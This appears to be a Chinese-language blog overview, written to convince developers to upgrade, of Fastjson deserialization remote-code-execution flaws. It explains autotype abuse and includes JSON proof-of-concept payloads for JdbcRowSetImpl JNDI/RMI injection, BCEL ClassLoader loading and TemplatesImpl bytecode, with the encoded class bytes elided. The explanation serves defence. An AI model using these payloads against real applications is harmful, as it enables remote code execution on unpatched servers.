Fastjson反序列化漏洞概述

阿新 • • 發佈：2019-09-02

Fastjson反序列化漏洞概述

背景

在推動Fastjson元件升級的過程中遇到一些問題，為幫助業務同學理解漏洞危害，下文將從整體上對其漏洞原理及利用方式做歸納總結，主要是一些概述性和原理上的東西。

漏洞原理

多個版本的Fastjson元件在反序列化不可信資料時會導致程式碼執行。究其原因，首先，Fastjson提供了autotype功能，允許使用者在反序列化資料中通過“@type”指定反序列化的型別，其次，Fastjson自定義的反序列化機制時會呼叫指定類中的setter方法及部分getter方法，那麼當元件開啟了autotype功能並且反序列化不可信資料時，攻擊者可以構造資料，使目標應用的程式碼執行流程進入特定類的特定setter或者getter方法中，若指定類的指定方法中有可被惡意利用的邏輯（也就是通常所指的“Gadget”），則會造成一些嚴重的安全問題。

那麼不開啟autotype功能就安全了嗎？

不是的，在Fastjson 1.2.47及以下版本中，利用其快取機制可實現對未開啟autotype功能的繞過，繞過細節可參考（https://www.anquanke.com/post/id/181874），程式碼驗證邏輯的問題，不再贅述。

利用方式

那麼Fastjson反序列化不可信資料時是如何導致程式碼執行的呢？這就是漏洞原理一節中所說的可被惡意利用的邏輯，目前公開的、攻擊者使用廣泛的Gadget無外乎有這麼幾種，下面會具體解釋下指定setter或getter方法中可被惡意利用的程式碼邏輯：

基於JNDI注入

JNDI即Java Naming and Directory Interface，Java命名和目錄介面，JNDI提供了很多實現方式，主要有RMI，LDAP，CORBA等。JNDI提供了一個統一的外部介面，底層服務實現是多樣的。

以RMI為例，RMI Registry有Name到物件的對映關係，應用通過java.rmi.naming#lookup方法向Registry發出查詢請求，得到對映關係，再連線RMI Server實現遠端方法呼叫。

如果說其lookup方法的引數是我們可以控制的，可以將其引數指向我們控制的Registry，那我們可以在Registry繫結一個指向遠端類的Reference物件（當物件為Reference型別的時候，應用會載入遠端類並例項化），遠端類的靜態程式碼塊及構造方法均可控，從而導致任意程式碼執行。

下面以com.sun.rowset.JdbcRowSetImpl類為例具體解釋下，

基於類com.sun.rowset.JdbcRowSetImpl的POC如下：

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson在反序列化的時候，會使用asm來構造物件，然後呼叫物件的setter方法。在解析上述json字串時，首先構造JdbcRowSetImpl物件，然後呼叫setDataSourceName方法和setAutoCommit方法為物件賦值，在呼叫setAutoCommit方法時，會通過connect方法呼叫lookup方法向Registry發出查詢請求，而Registry的地址正是dataSourceName的值，這就導致了lookup方法引數可控，進而我們可以通過自定義Registry實現進一步漏洞利用。

connect方法程式碼：

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

類似的，除com.sun.rowset.JdbcRowSetImpl外，還有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成為“Gadget”中的一環，基於JNDI注入實現程式碼執行。Java類庫何其多，JDK中的、第三方的，未來也一定會出現更多的可被惡意利用的類庫。

值得一提的是，在高版本的JDK中做了對JNDI注入類攻擊的防護，主要是通過限制遠端類的載入實現，具體細節可以參考我的這篇文章https://www.cnblogs.com/Welk1n/p/11066397.html，其中有比較詳細的防護原理以及某些條件下的防護繞過說明。

基於ClassLoader

POC如下：

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader這個類載入器的載入機制，java、javax和sun這三個包下的類會通過系統類載入器進行載入，然後當遇到一些特殊的類名，class_name以$$BCEL$$開頭的類，會呼叫createClass方法去解析class_name，在createClass方法中會將$$BCEL$$之後的字元解碼成位元組陣列，並將這個BCEL編碼後的類載入到虛擬機器中。換言之，我們可以構造className為一個特殊的字串時，通過這個類載入器來實現對自定義類的載入。

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

那麼，當Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource物件時，首先通過setter方法設定其driverClassLoader和driverClassName屬性，然後會呼叫其getConnection方法，又最終呼叫了createConnectionFactory方法，其通過Class.forName方法用driverClassLoader載入driverClassName，並設定是否初始化引數為true。forName方法實際最終呼叫了C實現的Native型別的方法，分析C原始碼可知，其底層的載入邏輯仍是呼叫類載入器的loadClass方法載入自定義類，有興趣的朋友可以自己去分析下JVM層面的實現，這兒不再展開，瞭解即可。

driverClassLoader和driverClassName都是json傳入，外部可控，那麼若將driverClassLoader設定為com.sun.org.apache.bcel.internal.util.ClassLoader，driverClassName設定為經BCEL編碼後的自定義類，那麼就實現了在反序列化時載入自定義類的目的。於是攻擊者可以在static程式碼塊中編寫惡意程式碼，將其進行BCEL編碼，在類初始化時實現惡意程式碼執行。

基於TemplatesImpl

POC如下：

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類有個比較特殊的能力，可以解析然後載入例項化_bytecodes變數中的字元陣列，_bytecodes的值是可控的，所以攻擊者只要構造惡意類對應的字元陣列，然後通過getOutputProperties方法觸發惡意類的載入及例項化，同樣實現了遠端程式碼執行的效果。

一些具體的細節可以參考這兩篇文章：

http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://paper.seebug.org/636/

不過此種利用方式需要在解析json串時設定Feature.SupportNonPublicField，而業務同學在使用fastjson時往往會直接按照預設引數呼叫parseObject方法，所以略為雞肋。

建議

可以看到上面幾種Gadget都能用來攻擊使用Fastjson的應用，實現程式碼執行，相對來說第一種方式殺傷力更強一些。所以還請務必將元件升級到最新版本，來避免攻擊者對此漏洞的攻擊

Fastjson反序列化漏洞概述